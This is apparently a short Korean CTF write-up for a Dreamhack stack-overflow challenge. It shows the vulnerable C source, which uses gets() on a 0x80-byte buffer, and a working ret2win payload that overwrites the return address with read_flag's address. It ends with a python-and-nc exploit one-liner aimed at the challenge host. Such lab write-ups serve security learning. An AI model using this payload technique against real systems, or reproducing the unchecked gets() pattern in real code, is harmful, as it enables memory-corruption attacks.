#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
딱 보니까 ret에 read_flag() 함수 주소 덮어쓰고
buf는 80바이트 덮어주고 sfp 4바이트 덮어주고
그럼 순서는
- read_flag() 함수 주소 구하기
- 페이로드 작성
-
익스플로잇
- read_flag() 함수 주소 구하기

0x80485b9 확인
리틀엔디언 적용해서 \xb9\x85\x04\x08
-
페이로드 작성
b'A'*0x80+b'B'*0x4+b'\xb9\x85\x04\x08' -
익스플로잇
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*0x80+b'B'*0x4+b'\xb9\x85\x04\x08')"; cat) | nc host3.dreamhack.games 21556

000보다 001이 더 쉬운 느낌…